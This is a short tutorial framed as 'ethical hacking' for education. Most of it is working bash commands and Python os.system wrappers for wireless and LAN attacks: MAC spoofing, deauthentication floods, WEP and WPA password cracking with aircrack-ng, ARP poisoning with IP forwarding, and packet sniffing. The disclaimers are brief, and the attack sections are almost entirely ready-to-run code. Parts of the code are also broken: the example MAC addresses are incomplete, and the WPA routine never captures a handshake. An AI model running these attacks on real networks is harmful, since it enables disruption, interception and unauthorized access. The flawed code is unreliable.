Ethical Hacking Techniques and Methods

For Educational Purposes Only

Contents

1 Introduction

This document outlines various ethical hacking techniques and commands for network analysis, packet manipulation, and security testing. It is intended for educational purposes and ethical hacking within legally authorized environments.

2 Network Configuration and Setup

2.1 Restarting Network and Changing MAC Address

```
sudo service network-manager restart
sudo macchanger --random wlan0
sudo ifconfig wlan0 up
sudo airmon-ng start wlan0
```

Listing 1: Bash Commands

2.2 Python Implementation

```
import os

def setup_network(interface):
    os.system("service network-manager restart")
    os.system(f"macchanger --random {interface}")
    os.system(f"ifconfig {interface} up")
    os.system(f"airmon-ng start {interface}")

setup_network("wlan0")
```

Listing 2: Python Code

3 Network Sniffing (Gathering Information)

3.1 Using airodump-ng

```
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
sudo airodump-ng --channel <channel> --bssid <bssid> --write
   <file_name> wlan0mon
```

Listing 3: Bash Commands

3.2 Python Implementation

```
def start_sniffing(interface, channel, bssid, filename):
    os.system(f"airmon-ng start {interface}")
    os.system(f"airodump-ng --channel {channel} --bssid {
   bssid} --write {filename} {interface}mon")

start_sniffing("wlan0", 12, "40:30:20:10", "test")
```

Listing 4: Python Code

4 Deauthentication Attack

4.1 Using aireplay-ng

```
sudo aireplay-ng --deauth <packets> -a <AP_MAC> wlan0mon
sudo aireplay-ng --deauth <packets> -a <AP_MAC> -c <
   target_mac> wlan0mon
```

Listing 5: Bash Commands

4.2 Python Implementation

```
def deauth_attack(interface, ap_mac, target_mac=None, packets
   =1000):
    if target_mac:
        os.system(f"aireplay-ng --deauth {packets} -a {ap_mac
   } -c {target_mac} {interface}")
    else:
        os.system(f"aireplay-ng --deauth {packets} -a {ap_mac
   } {interface}")

deauth_attack("wlan0mon", "10:20:30:40", packets=1000)
```

Listing 6: Python Code

5 Cracking WEP Passwords

5.1 Using aircrack-ng

```
airodump-ng --channel <channel> --bssid <bssid> --write <
   file_name> wlan0mon
aircrack-ng <file_name>
```

Listing 7: Bash Commands

5.2 Python Implementation

```
def crack_wep(interface, channel, bssid, filename):
    os.system(f"airodump-ng --channel {channel} --bssid {bssid} --write {filename} {interface}mon")
    os.system(f"aircrack-ng {filename}.cap")

crack_wep("wlan0", 6, "40:30:20:10", "wep_capture")
```

Listing 8: Python Code

6 WPA Handshake Capture and Cracking

6.1 Capturing Handshake

```
sudo aireplay-ng --deauth <packets> -a <AP_MAC> wlan0mon
```

Listing 9: Bash Commands

6.2 Cracking with Wordlist

```
sudo aircrack-ng <handshake.cap> -w <wordlist>
```

Listing 10: Bash Commands

6.3 Python Implementation

```
def wpa_handshake(interface, ap_mac, handshake_file, wordlist):
    os.system(f"aireplay-ng --deauth 1000 -a {ap_mac} {interface}mon")
    os.system(f"aircrack-ng {handshake_file}.cap -w {wordlist}")

wpa_handshake("wlan0", "10:20:30:40", "handshake", "wordlist.txt")
```

Listing 11: Python Code

7 Post-Connection Attacks

7.1 ARP Poisoning

```
arpspoof -i <interface> -t <target_ip> <router_ip>
arpspoof -i <interface> -t <router_ip> <target_ip>
echo 1 > /proc/sys/net/ipv4/ip_forward
```

Listing 12: Bash Commands

7.2 Python Implementation

```
def arp_poison(interface, target_ip, router_ip):
    os.system(f"arpspoof -i {interface} -t {target_ip} {router_ip} &")
    os.system(f"arpspoof -i {interface} -t {router_ip} {target_ip} &")
    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")

arp_poison("wlan0", "192.168.1.100", "192.168.1.1")
```

Listing 13: Python Code

8 Packet Capture and Analysis

8.1 Using Wireshark

```
wireshark &
```

Listing 14: Bash Commands

8.2 Using Scapy in Python

```
from scapy.all import sniff

def packet_sniffer(interface):
    def process_packet(packet):
        print(packet.summary())

    sniff(iface=interface, prn=process_packet)

packet_sniffer("wlan0")
```

Listing 15: Python Code

9 Ethical Considerations

- Always obtain explicit permission before conducting security tests.
- Use these methods in controlled environments such as ethical hacking labs.
- Abide by all relevant laws and regulations.